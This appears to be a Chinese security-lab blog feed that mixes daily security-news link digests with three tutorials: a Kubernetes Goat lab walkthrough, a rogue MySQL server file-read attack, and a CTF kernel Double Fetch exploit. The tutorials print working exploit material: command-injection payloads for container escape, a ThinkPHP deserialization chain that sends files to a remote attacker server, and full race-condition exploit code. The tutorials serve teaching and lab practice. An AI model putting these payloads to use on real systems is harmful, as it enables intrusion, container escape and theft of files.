网络安全日报 2022年04月01日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、IT 巨头 Globant 确认源代码存储库泄露 https://www.securityweek.com/it-giant-globant-confirms-source-code-repository-breach 2、网络安全供应商评估近期 OpenSSL 漏洞的影响 https://www.securityweek.com/cybersecurity-vendors-assessing-impact-recent-openssl-vulnerability 3、Apple 发布macOS、iOS 紧急安全补丁修复被积极利用的漏洞 https://www.securityweek.com/apple-ships-emergency-patches-actively-exploited-macos-ios-flaws 4、Spring Framework 发布补丁修补CVE-2022-22965漏洞 https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement 5、ImpersCMS中的SQL注入保护可被绕过来实现RCE https://portswigger.net/daily-swig/sql-injection-protections-in-impresscms-could-be-bypassed-to-achieve-rce 6、存在17 年之久可导致应用程序崩溃的Zlib漏洞被修复 https://www.theregister.com/2022/03/30/zlib_data_bug/ 7、三分之一的英国企业每周至少遭受一次网络攻击 https://www.infosecurity-magazine.com/news/third-businesses-cyber-attacks-week 8、美国医疗保健数据泄露影响 85,000 名执法人员 https://portswigger.net/daily-swig/us-healthcare-data-breach-impacts-85-000-law-enforcement-officers 9、Hive 勒索软件使用新的"IPfuscation"技巧隐藏攻击载荷 https://www.bleepingcomputer.com/news/security/hive-ransomware-uses-new-ipfuscation-trick-to-hide-payload/ 10、Palo Alto Networks支持系统错误配置导致泄露客户案例、附件 https://www.bleepingcomputer.com/news/security/palo-alto-networks-error-exposed-customer-support-cases-attachments
网络安全日报 2022年03月31日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Chrome 浏览器发布重大安全更新解决了28个漏洞 https://www.securityweek.com/chrome-browser-gets-major-security-update 2、研究人员发现了一种远程中断电动汽车充电的攻击方法:Brokenwire https://www.securityweek.com/remote-brokenwire-hack-prevents-charging-electric-vehicles 3、Lapsus$ 称攻击并泄露了 IT 巨头 Globant 70GB数据 https://www.securityweek.com/lapsus-claims-hack-it-giant-globant-after-arrests-alleged-members 4、一个严重的 RCE 漏洞影响 SonicWall 防火墙设备 https://securityaffairs.co/wordpress/129627/hacking/sonicwall-firewall-rce-vulnerability.html 5、CISA 和 DoE 就针对 UPS 设备的攻击发出警告 https://securityaffairs.co/wordpress/129620/security/cisa-doe-warn-attacks-ups.html 6、Transparent Tribe APT针对印度官员进行攻击 https://thehackernews.com/2022/03/new-hacking-campaign-by-transparent.html 7、Viasat 发布 KA-SAT 卫星服务网络攻击事件报告 https://www.bleepingcomputer.com/news/security/viasat-shares-details-on-ka-sat-satellite-service-cyberattack/ 8、日本糖果制造商森永的在线商店遭到数据泄露 https://portswigger.net/daily-swig/network-cavity-blamed-for-data-breach-at-japanese-candy-maker-morinaga 9、研究人员发现针对Jupyter Notebook的勒索软件攻击 https://blog.aquasec.com/python-ransomware-jupyter-notebook 10、央视曝光部分浏览器 App 后台读取剪贴板,包括银行卡账号密码明文 https://www.ithome.com/0/610/269.htm
网络安全日报 2022年03月30日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Ronin Network 被盗价值6亿美金加密货币 https://www.securityweek.com/hackers-steal-over-600m-major-crypto-heist 2、Microsoft Defender for IoT 中发现严重漏洞 https://www.securityweek.com/critical-vulnerabilities-found-microsoft-defender-iot 3、白宫提出 109 亿美元的网络安全预算 https://www.securityweek.com/white-house-proposes-109-billion-budget-cybersecurity 4、CISA 将 Chrome、Redis 漏洞添加到已知利用漏洞目录 https://securityaffairs.co/wordpress/129593/security/chrome-redis-known-exploited-vulnerabilities-catalog.html 5、Spring Frame Core存在远程命令执行漏洞 https://github.com/spring-projects/spring-framework/commit/7f7fb58dd0dae86d22268a4b59ac7c72a6c22529 6、英国国内勒索软件攻击在2021年内激增100% https://www.infosecurity-magazine.com/news/ransomware-attacks-soar-100-2021/ 7、Serpent后门攻击瞄准法国建筑公司和政府部门 https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain 8、Wyze Cam 网络摄像头存在漏洞可被未授权远程访问 https://www.bleepingcomputer.com/news/security/wyze-cam-flaw-lets-hackers-remotely-access-your-saved-videos/ 9、研究人员设计了一种保护隐私的监控视频分析系统-Privid https://thehackernews.com/2022/03/privid-privacy-preserving-surveillance.html 10、匿名者组织泄露2家俄工业公司约112GB数据 https://www.hackread.com/anonymous-hack-russian-industrial-firms-data-leak/
网络安全日报 2022年03月29日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、钓鱼活动通过劫持未打补丁的 Exchange 邮件回复链来传播恶意软件 https://thehackernews.com/2022/03/hackers-hijack-email-reply-chains-on.html 2、"Purple Fox"组织在最近的恶意软件攻击中使用新变种FatalRAT https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html 3、Muhstik 僵尸网络利用 Redis 最新漏洞CVE-2022-0543 进行攻击 https://thehackernews.com/2022/03/muhstik-botnet-targeting-redis-servers.html 4、Hive 勒索软件将其加密器移植到 Rust 编程语言 https://securityaffairs.co/wordpress/129566/cyber-crime/hive-ransomware-ports-encryptor-to-rust.html 5、Western Digital 修复了影响 My Cloud OS 5 设备的严重漏洞 https://securityaffairs.co/wordpress/129507/security/western-digital-my-cloud-os-5-flaw.html 6、思科Talos发现Sound Exchange libsox库存在缓冲区溢出漏洞 https://blog.talosintelligence.com/2022/03/vuln-spotligh-libsox0.html 7、美国指控4名俄政府员工入侵全球关键基础设施 https://thehackernews.com/2022/03/us-charges-4-russian-govt-employees.html 8、Illuminate Education在线评分考勤系统泄露约82万纽约学生的数据 https://www.nydailynews.com/new-york/education/ny-hack-illuminate-online-gradebook-compromised-personal-data-20220325-ahy3b3b3t5cjzajau63muqcniq-story.html 9、美国FCC将卡巴斯基、中国电信和中国移动加入国家安全威胁名单 https://www.freebuf.com/news/326451.html 10、以色列阻止乌克兰购买NSO集团的"Pegasus"间谍软件 https://www.cnbeta.com/articles/science/1251117.htm
通过Kuberneters Goat学习K8S安全(上)
实验环境:https://katacoda.com/madhuakula/scenarios/kubernetes-goat  0x1、敏感信息泄露利用  第一关是代码泄露利用,打开网站后显示:  告诉我们这是一个代码构建服务。  我们可以测试是否存在git泄露  可以访问到git的配置文件,然后可以尝试从网站转储 git存储库  这里使用的工具是git-dumper:https://github.com/arthaud/git-dumper  用法如下: git-dumper http://website.com/.git ~/website  它会自动遍历路径和获取代码。  等待获取完成,然后查看获取的仓库内容:  使用git log可以查看代码提交的日志记录:  然后可以使用git checkout检出特定的提交,比如有一个包含环境变量的提交,检出来看看,说不定有敏感的信息:  查看.env文件:  还可以用另外一个工具trufflehog 对.git目录进行分析:  产生漏洞的原因:开发人员提交代码的时候,将敏感信息也提交进去了。  0x2、Docker in Docker 利用  第二关是DIND (docker-in-docker) exploitation  描述:大多数使用Docker并在管道构建容器的CI/CD和管道系统都使用称为DIND(docker-in-docker)的东西。简单来说就是在Docker容器中调用和执行宿主机的Docker。在此场景中,我们尝试利用并获得对宿主机系统的访问权限。  访问后的页面内容:  看起来像是存在命令注入漏洞,我们测试一下:  果不其然。  如果要利用docker in docker进行逃逸,前提是在docker容器运行的时候把docker.sock套接字文件一并挂载到了容器中。当我们拿到容器权限又存在挂载的docker.sock套接字文件,我们就可以通过 Docker Socket与宿主机的Docker服务进行通信,我们可以通过它创建新的容器,并把宿主机的目录挂载到新创建的容器中,这样我们就能访问宿主机的资源了。  查看是否存在docker.sock挂载  然后我们下载一个docker可执行程序,注入如下命令: ;wget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz  解压缩: ;tar -xvzf /tmp/docker-19.03.9.tgz -C /tmp/  然后就可以利用docker.sock来访问宿主机系统并在宿主机上执行docker命令 ;/tmp/docker/docker -H unix:///custom/docker/docker.sock ps ;/tmp/docker/docker -H unix:///custom/docker/docker.sock images  0x3 SSRF漏洞  第三关是SSRF in K8S world  场景描述:SSRF(服务器端请求伪造)漏洞是云原生环境的首选攻击方式。在此场景中,我们将学习如何利用应用程序中存在的SSRF漏洞的来访问云实例元数据以及内部服务元数据信息。  访问应用页面:  这应该是一个内部API代理服务  我们尝试一下访问内部的服务,比如容器服务  可以看到内部有一个http://metadata-db服务,访问看看  可以看到有一个latest的路径,我们继续访问http://metadata-db/latest/  可以发现好几个路径,通过枚举尝试,最终在http://metadata-db/latest/secrets/kubernetes-goat中发现了关键信息:  看起来像Base64编码的字符串,解密看看:  0x4 容器逃逸到宿主系统(敏感目录挂载)  访问这一关的页面  是一个Linux shell环境  场景描述  大多数监控、跟踪和调试软件需要以额外的权限和功能运行。在这个场景中,我们看到一个具有额外功能和权限(甚至包含HostPath)的Pod,它允许我们访问宿主机系统并提供节点级配置,这样会带来可以获取整个集群控制权限的危害。 查看当前环境的基本信息  可以发现当前用户权限是root,系统是运行在docker 容器中。  查看挂载信息:  可以看到一个host-system的挂载,像是直接挂载的宿主机分区。查看里面的内容:  看起来像是把宿主机完整的系统都挂载进来了。  那么我们可以用chroot切换到宿主机的目录,获取对宿主机系统的权限访问 chroot /host-system bash  我们使用docker ps查看宿主机运行的容器  我们的目的是控制整个Kubernetes集群,查看Kubernets节点级配置文件: cat /etc/kubernetes/kubelet.conf  然后我们可以利用配置文件获取集群内的所有资源 kubectl --kubeconfig /etc/kubernetes/kubelet.conf  get all -n kube-system  0x5 Docker CIS 安全基线分析  场景描述  该场景主要是在 Kubernetes 节点之上进行 Docker CIS 基准分析,以识别可能存在的安全漏洞。  首先需要部署docker bench security将它启动为DaemonSet kubectl apply -f scenarios/docker-bench-security/deployment.yaml  访问docker-bench-security-xxxxx pod 并执行Docker CIS基线测试脚本。 controlplane $ kubectl exec -it docker-bench-security-5cq2h -- sh ~ # cd docker-bench-security/ ~/docker-bench-security # ./docker-bench-security.sh  如果有多个节点,就依次进入并执行。  然后,可以根据 Docker CIS 安全基线测试中看到的漏洞进行进一步的利用或修复。  0x6 Kubernetes CIS 安全基线分析  场景描述  本场景主要是在Kubernetes节点之上进行Kubernetes CIS基线分析,识别可能存在的安全漏洞。  首先,我们在节点上部署kube-bench security为Kubernetes job controlplane $ kubectl apply -f scenarios/kube-bench-security/node-job.yaml job.batch/kube-bench-node created controlplane $ kubectl apply -f scenarios/kube-bench-security/master-job.yaml job.batch/kube-bench-master created controlplane $  然后获取pod信息和查看jobs列表  查看kube-bench-node-xxxxx pod 的日志  然后,可以根据 Kubernetes CIS 安全基线测试中看到的漏洞进行进一步的利用。  0x7 攻击私有仓库  场景描述  容器仓库是存储所有容器镜像的地方。大多数情况下,每个组织都有自己的私有仓库。有时候会因为配置错误,导致仓库处于公共/开放状态。另一方面来说,开发人员因为使用内部私有仓库,可能会在在容器镜像中存储一些敏感信息。  因为这里已经设置好了私有仓库的端口,我们直接访问即可,如果是实际的安全测试中,需要进行扫描或者信息收集来确定私有仓库的地址和端口。 https://2886795289-1235-simba09b.environments.katacoda.com/v2/  我们可以用一些API来测试访问仓库的信息 API文档参考:https://docs.docker.com/registry/spec/api/ https://2886795289-1235-simba09b.environments.katacoda.com/v2/_catalog //列出存储库  查看具体的仓库信息: https://2886795289-1235-simba09b.environments.katacoda.com/v2/madhuakula/k8s-goat-users-repo/manifests/latest  经过审计,可以看到 docker 镜像信息中有API 密钥信息和 ENV 变量等敏感信息泄露。  然后可以更进一步通过docker pull将镜像下载到本地并进行分析。另外在某些情况下,甚至可以根据权限和特权将恶意的镜像推送到仓库。  0x8 NodePort 暴露风险  场景描述  NodePort是Kubernetes的三种外部访问方式之一。NodePort 服务是接通外部网络到你的服务的最原始方式。是指在所有节点上开放一个特定端口,任何发送到该端口的流量都被转发到对应服务。  如果用户使用 NodePort 暴露了 Kubernetes 集群内的任何服务,这意味着如果运行 Kubernetes 集群的节点没有启用任何防火墙/网络安全策略。一些未经身份验证和未经授权的服务会被暴露和利用。  获取Kubernetes节点外部IP地址列表,因为这里是实验测试环境的原因,所以 EXTERNAL-IP显示为<none> kubectl get nodes -o wide  默认情况下,NodePort的端口范围是30000-32767。可以使用Nmap等扫描工具进行扫描和服务识别。  访问对应的端口查看暴露的服务信息  此漏洞/攻击取决于 Kubernetes 集群的配置方式。
浅析MySQL恶意服务器读取文件原理
前言 注:本文不涉及对MySQL协议报文研究,仅讲解原理,并且做部分演示。  搭建MySQL恶意服务器读取文件这件事,虽然直接利用门槛较高,但是由于在网上看到了一种比较新颖的利用方式(利用社会工程学引诱用户连接MySQL进而读取用户文件),个人觉得比较有意思,总结了一下攻击原理以及攻击方式,因此就有了这篇文章。  原理  在阐述具体原理之前,先介绍几个SQL语句,以便后文理解  首先在tmp目录下新建一个tmp.txt  内容如下:  然后执行下方SQL语句,即可将tmp.txt文件导入其中 mysql> load data local infile "/tmp/tmp.txt" into table test fields terminated by '\n'; Query OK, 3 rows affected (2.63 sec) Records: 3 Deleted: 0 Skipped: 0  Warnings: 0 mysql> select * from Test; +-------+ | name  | +-------+ | admin | | user  | | Lxxx  | +-------+ 3 rows in set (0.00 sec) load data local infile语句会读取客户端本地的文件 load data infile语句会读取服务端本地的文件 terminated by表示以某某字符分割,默认为Tab,这里我设置为了\n  这个时候可能就会绕不清楚,什么是服务端,什么是客户端?  因为一般情况下,调试SQL都是在本机,并且数据库也在本机,这样的情况就导致,客户端和服务端都是在本地,有点难区分,下面我用一张图来简述。  在本地,由于客户端和服务端都是在同一个磁盘下,因此,在本地,无论是否加local都是可以将文件传入数据库的,而后面讲到利用MySQL恶意服务器读取文件的漏洞,就是需要使用local,来达到将文件带出的目的。  下面我画了两张图,第一张图是正常业务流程,第二张图是攻击者恶意攻击的流程  正常的后端业务流程如下:  当攻击者劫持后端服务器,并且在公网中搭建恶意的MySQL后,流程图如下:  这样攻击者就可以在后端达到任意文件下载的目的。  演示 虽说在之前的某个CTF比赛出过类似的题目,但是我这里还是使用ThinkPHP3.2.3存在的反序列化漏洞,结合MySQL恶意服务器读取敏感文件,进而RCE的样例。  首先在本地先启动一个ThinkPHP3.2.3的框架,连接好数据库,在Application/Home/Controller/HelloController.class.php控制器中写一个反序列化入口 <?php namespace Home\Controller; use Think\Controller; class HelloController extends Controller {    public function index($Lxxx){        echo base64_decode($Lxxx);        $a = unserialize(base64_decode($Lxxx));   } }  具体的链子,我就不跟了,网上也有很多,虽然链子具体的方法不跟进,但是我还是需要介绍一下这条链子能起到一个什么作用。 首先需要一个反序列化入口,这是毋庸置疑的,没有反序列化入口,那就无法进行反序列化,所以上方我就在HelloController控制器中自己写了一个反序列化入口 这条链子最终的链尾是需要数据库的相关信息,例如数据库名,数据库端口,数据库用户以及密码,并且这条链子是允许使用堆叠注入的,因此如果知道数据库相关信息,那么就可以利用堆叠注入写入一句话木马进而getshell  这里我就直接将链子放出来,然后演示一下如何搭建一个恶意的MySQL数据库,获取敏感文件,进而getshell <?php namespace Think\Db\Driver{    use PDO;    class Mysql{        protected $options = array(            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件       );        protected $config = array(            "debug"    => 1,            "database" => "tp323",            "hostname" => "127.0.0.1",            "hostport" => "8889",            "charset"  => "utf8",            "username" => "root",            "password" => "root"       );   } } namespace Think\Image\Driver{    use Think\Session\Driver\Memcache;    class Imagick{        private $img;        public function __construct(){            $this->img = new Memcache();       }   } } namespace Think\Session\Driver{    use Think\Model;    class Memcache{        protected $handle;        public function __construct(){            $this->handle = new Model();       }   } } namespace Think{    use Think\Db\Driver\Mysql;    class Model{        protected $options   = array();        protected $pk;        protected $data = array();        protected $db = null;        public function __construct(){            $this->db = new Mysql();            $this->options['where'] = '';            $this->pk = 'id';            $this->data[$this->pk] = array(                "table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",                "where" => "1=1"           );       }   } } namespace {    echo base64_encode(serialize(new Think\Image\Driver\Imagick())); }  上方链子中的数据库信息为我本地的数据库信息,执行该文件后,得到序列化字符串如下: TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAq  传给url  可以看到报错注入成功  然后,在公网上搭建一个恶意的MySQL服务,这个脚本在Github中已经有前辈写好了,具体原理就是分析相关的MySQL报文,然后与后端服务器创建恶意连接,并且获得自己想要的文件,这里贴出几个连接,有些项目可能在新的MySQL版本中无法使用。 https://github.com/Gifts/Rogue-MySql-Server https://github.com/allyshka/Rogue-MySql-Server https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read  下载好POC之后,修改一下要读取的文件名  然后利用Python启动,启动完成后,恶意的MySQL就在监听3307端口 python rogue_mysql_server.py  接下来修改之前的链子,把IP和端口修改为远程恶意的MySQL地址,然后生成链子 <?php namespace Think\Db\Driver{    use PDO;    class Mysql{        protected $options = array(            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件       );        protected $config = array(            "debug"    => 1,            "database" => "tp323",            "hostname" => "1.1.1.1",            "hostport" => "3307",            "charset"  => "utf8",            "username" => "root",            "password" => "root"       );   } } namespace Think\Image\Driver{    use Think\Session\Driver\Memcache;    class Imagick{        private $img;        public function __construct(){            $this->img = new Memcache();       }   } } namespace Think\Session\Driver{    use Think\Model;    class Memcache{        protected $handle;        public function __construct(){            $this->handle = new Model();       }   } } namespace Think{    use Think\Db\Driver\Mysql;    class Model{        protected $options   = array();        protected $pk;        protected $data = array();        protected $db = null;        public function __construct(){            $this->db = new Mysql();            $this->options['where'] = '';            $this->pk = 'id';            $this->data[$this->pk] = array(                "table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",                "where" => "1=1"           );       }   } } namespace {    echo base64_encode(serialize(new Think\Image\Driver\Imagick())); }  得到: TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAq  传给HomeController控制器  然后就可以在远程VPS中的mysql.log得到之前需要恶意下载的文件  现在得到了相关数据库信息,然后就可以再次构造链子,利用堆叠注入写入一句话木马getshell了  使用场景 能劫持后端服务器,但无法getshell的时候,可以采用这个方法getshell(例如ThinkPHP3.2.3的利用链只能到数据库层,则可以通过这个方法getshell) 能引诱用户连接恶意MySQL(社会工程学)    参考资料   http://blog.nsfocus.net/malicious-mysql-server-reads-mysql-client-files/   https://www.modb.pro/db/51823   https://cloud.tencent.com/developer/article/1818089   https://github.com/Gifts/Rogue-MySql-Server   https://github.com/allyshka/Rogue-MySql-Server   https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read
网络安全日报 2022年03月28日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Google 发布紧急 Chrome 更新以修补被利用的0day漏洞 https://thehackernews.com/2022/03/google-issues-urgent-chrome-update-to.html2、7 名年龄 16 至 21 岁的LAPSUS$ 嫌疑成员在英国被捕 https://thehackernews.com/2022/03/7-suspected-members-of-lapsus-hacker.html3、Sophos Firewall 修复了高危身份验证绕过和远程代码执行漏洞 https://securityaffairs.co/wordpress/129536/security/sophos-firewall-authentication-bypass-flaw.html4、CISA 在已知利用漏洞目录中增加了 66 个新漏洞 https://securityaffairs.co/wordpress/129502/hacking/cisa-known-exploited-vulnerabilities-catalog-66.html5、针对允许黑客解锁和启动思域的漏洞,本田表示没有更新旧车的计划 https://therecord.media/honda-downplays-vulnerability-allowing-hackers-to-lock-unlock-and-start-civics/6、Vidar间谍软件通过隐藏在微软的帮助文件中以逃避检测 https://www.zdnet.com/article/vidar-spyware-is-now-hidden-in-microsoft-help-files/7、Facestealer恶意软件通过谷歌Play商店传播 https://threatpost.com/facestealer-trojan-google-play-facebook/179015/8、超过4万名伦敦选民的个人信息遭到泄露 https://www.infosecurity-magazine.com/news/over-40000-london-voters-data/9、英国国防部招募网站遭到黑客入侵数据泄露 https://www.theregister.com/2022/03/24/ministry_of_defence/10、摩根士丹利公司披露客户账户遭到黑客入侵 https://www.bleepingcomputer.com/news/security/morgan-stanley-client-accounts-breached-in-social-engineering-attacks/
网络安全日报 2022年03月25日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、研究人员称LAPSUS$ 幕后黑手可能是英国的一名16 岁少年 https://thehackernews.com/2022/03/researchers-trace-lapsus-cyber-attacks.html 2、VMware 修补了Carbon Black App Control平台的关键漏洞 https://thehackernews.com/2022/03/vmware-issues-patches-for-critical.html 3、朝鲜黑客使用Chrome 0day漏洞进行攻击 https://www.securityweek.com/north-korea-gov-hackers-caught-sharing-chrome-zero-day 4、Microweber 开发者解决 CMS 软件中的 XSS 漏洞 https://portswigger.net/daily-swig/microweber-developers-resolve-xss-vulnerability-in-cms-software 5、台达工业能源管理系统修补多个关键漏洞 https://www.securityweek.com/many-critical-flaws-patched-delta-electronics-energy-management-system 6、大规模供应链攻击使用200 多个恶意 NPM 包针对 Azure 开发人员 https://thehackernews.com/2022/03/over-200-malicious-npm-packages-caught.html 7、微软更新修复了导致Windows蓝屏的蓝牙问题 https://www.bleepingcomputer.com/news/microsoft/microsoft-fixes-bluetooth-issue-causing-windows-blue-screens/ 8、苏格兰心理健康慈善机构SAMH遭勒索软件攻击和数据泄露 https://www.bitdefender.com/blog/hotforsecurity/scottish-mental-health-charity-devastated-by-heartless-ransomexx-ransomware-attack/ 9、FBI称2021年互联网犯罪给人们带来的损失超过69亿美元 https://www.cnbeta.com/articles/tech/1249955.htm 10、日本医疗问答平台Doctors Me泄露用户数据 https://www.safetydetectives.com/news/doctorsme-leak-report/
Kernel Pwn基础教程之 Double Fetch
一、前言  Double Fetch是一种条件竞争类型的漏洞,其主要形成的原因是由于用户态与内核态之间的数据在进行交互时存在时间差,我们在先前的学习中有了解到内核在从用户态中获取数据时会使用函数copy_from_user,而如果要拷贝的数据过于复杂的话则内核会选择引用其指针而将数据暂存于用户态中等待后续处理,而在这时数据会存在被条件竞争修改原有数据的风险,也就是笔者要分享的Double Fetch的由来。  二、Double Fetch介绍  如下图所示,用户态首先准备好用户态数据(prepare data),然后执行syscall进入内核态后,会对用户态数据进行第一次fetch,这一次fetch主要是做一些检测工作(如缓冲区大小、指针是否可用等),在检查通过后会执行第二次fetch对数据进行实际操作。而在这期间是存在一定的时间差,如果我们在用户态数据通过第一次check以后创建一个恶意进程利用二次fetch之间的时间差修改掉原先用户态的数据,那么在内核执行第二次fetch时处理的就并非原先通过检测的数据,而是我们精心准备的恶意数据,而此类漏洞往往会引起访问越界,缓冲区溢出最终造成恶意提权的情况。  三、Double Fetch例题  1、题目分析  本次选择的例题是0ctf-final-baby,用IDA打开baby.ko进行逆向分析。驱动主要注册了baby_ioctl函数,当第二个参数为0x6666时会使用printk函数输出flag值在,可以通过dmesg命令查看printk函数的输出结果。  不难看出flag是硬编码在驱动文件中,可以看到flag的长度为33位。 .data:0000000000000480 flag           dq offset aFlagThisWillBe .data:0000000000000480                                         ; DATA XREF: sub_25+25↑r .data:0000000000000480                                         ; sub_25+D6↑r ... .data:0000000000000480                                         ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"  当第二个参数为0x1337时通过三次检测则会对传入的内容与flag进行比较,如果相同就通过printk函数输出flag值。其中在三次检测中使用到_chk_range_not_ok函数,前两个参数不难理解,但是第三个参数在这里比较难理解。 bool __fastcall _chk_range_not_ok(__int64 contect, __int64 len, unsigned __int64 unknow) { bool my_cf; // cf unsigned __int64 sum; // rdi my_cf = __CFADD__(len, contect); sum = len + contect; return my_cf || unknow < sum; }  我们通过动态调试的方式定位在_chk_range_not_ok函数处,发现current_task+0x1358的结果就是0x7ffffffffffff000,也就是说这三次check的意思分别是: 1、判断结构体的指针是否在用户态 2、判断结构体中flag地址指针是否在用户态 3、判断结构体中flag长度是否与内核flag长度相同  通过这三个检测之后就会比对传入结构体中flag值与内核的flag值是否相同,全部正确就会通过printk输出内核中的flag值。 for ( i = 0; i < strlen(flag); ++i ) { if ( contect->addr[i] != flag[i] )   return 0x16LL; } printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag); return 0LL;  2、漏洞利用  通过分析题目其实没有十分明显的漏洞点,但是如果我们以条件竞争的思路来看待这道题就会发现隐藏的漏洞点。如果我们首先在用户态创建一个可以通过三次检测的结构体指针(User_Data),那么在这个数据在真正被处理之前是存在一定的时间差的,并且因为数据是保存在用户态中,所以当我们开启一个恶意进程不断修改用户态中flag地址为内核态的地址,那么在实际处理数据时取出的就是内核地址,最终判断的时候就是内核地址与内核地址的比较,最终输出flag值并用dmesg命令查看输出结果。  3、EXP #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> int finish = 1; struct message {   char *addr;   int len; }data; size_t flag_address = 0; void read_flag_address() {   system("dmesg | grep flag > message.txt");   int fd = open("message.txt", O_RDWR);   char buf[0x60] = {0};   read(fd, buf, sizeof(buf));   size_t idx = strstr(buf, "at ") + 3;   sscanf(idx, "%llx", &flag_address);   printf("[+] FIND FLAG ADDRESS: 0x%llx\n", flag_address);   close(fd); } void evil_thread() {   while (finish == 1) {       data.addr = flag_address;   } } void main() {   pthread_t pthread;   int fd = open("/dev/baby", O_RDWR);   char buf[0x100] = {0};   ioctl(fd, 0x6666);   read_flag_address();   pthread_create(&pthread, NULL, evil_thread, NULL);   data.addr = buf;   data.len = 33;   for (int i = 0; i < 0x1000; i++) {       ioctl(fd, 0x1337, &data);       data.addr = buf;   }   finish = 0;   pthread_join(pthread, NULL);   system("dmesg | grep flag");   close(fd); }  使用如下命令编译elf文件,重新打包文件系统后执行start.sh,最终效果如下。 gcc -pthread -g -static -masm=intel -o exp exp.c  四、总结  Double Fetch 最为主要的就是培养以线程间条件竞争的角度来看待程序,从而发现一些比较隐蔽的漏洞。关于本次介绍的例题还有一种非预期的解法,可以通过在用户态使用mmap的方式开辟两块内存地址,第一块设置读写权限,第二块设置不可读写权限,我们将需要比较的字节放在第一块内存的最后一个字节中,当我们的判断正确时就会继续往下取值,这时就会从第二块即不可读写的内存中取值,就会造成kernel panic,这时我们就可以判断字符判断成功。感兴趣的师傅们可以自己尝试实现一下。
网络安全日报 2022年03月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、微软和 Okta 已确认遭受Lapsus$攻击后数据泄露 https://www.securityweek.com/microsoft-okta-confirm-data-breaches-involving-compromised-accounts 2、全球超过 200,000 台 MicroTik 路由器受僵尸网络控制 https://thehackernews.com/2022/03/over-200000-microtik-routers-worldwide.html 3、俄罗斯肉类生产商遭Windows BitLocker加密攻击 https://www.bleepingcomputer.com/news/security/top-russian-meat-producer-hit-with-windows-bitlocker-encryption-attack/ 4、CryptoRom "加密货币骗局滥用 iPhone 功能瞄准移动用户 https://thehackernews.com/2022/03/cryptorom-crypto-scam-abusing-iphone.html 5、超过 4 万名伦敦选民的个人数据被泄露给陌生人 https://www.infosecurity-magazine.com/news/over-40000-london-voters-data/ 6、社会工程攻击成为Web3,metaverse主要攻击方式 https://www.zdnet.com/article/social-engineering-attacks-to-dominate-web3-metaverse-services/ 7、背景调查公司Creative Services, Inc. (CSI) 因数据泄露被起诉 https://www.infosecurity-magazine.com/news/background-check-company-sued-over/ 8、攻击者利用 XLL 文件传递新的 JSSLoader 木马 https://blog.morphisec.com/new-jssloader-trojan-delivered-through-xll-files 9、窃取 Facebook 凭证的恶意 Android 应用感染10W用户 https://www.anquanke.com/post/id/270583 